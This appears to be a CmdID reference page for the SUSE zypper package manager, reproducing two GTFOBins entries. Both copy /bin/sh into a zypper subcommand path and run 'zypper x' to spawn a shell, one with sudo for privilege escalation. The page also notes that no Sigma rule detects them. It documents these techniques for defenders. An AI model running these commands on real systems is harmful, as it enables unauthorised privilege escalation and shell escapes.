CmdID / Programs / Linux and Unix
zypper
SUSE & openSUSE package management utility. For equivalent commands in other package managers, see <https://wiki.archlinux.org/title/Pacman/Rosetta>. tldr-pages
GTFOBins shell 2 documented commands
How zypper is abused
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for zypper.
2 documented commands
shell unprivileged, with sudo
The copy usually requires elevated privileges.
cp /bin/sh /usr/lib/zypper/commands/zypper-x
zypper xshell unprivileged, with sudo
cp /bin/sh /path/to/temp-dir/zypper-x
PATH=$PATH:/path/to/temp-dir/ zypper xNone of the 2 commands CmdID reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for zypper. CmdID reads the line of each that runs zypper.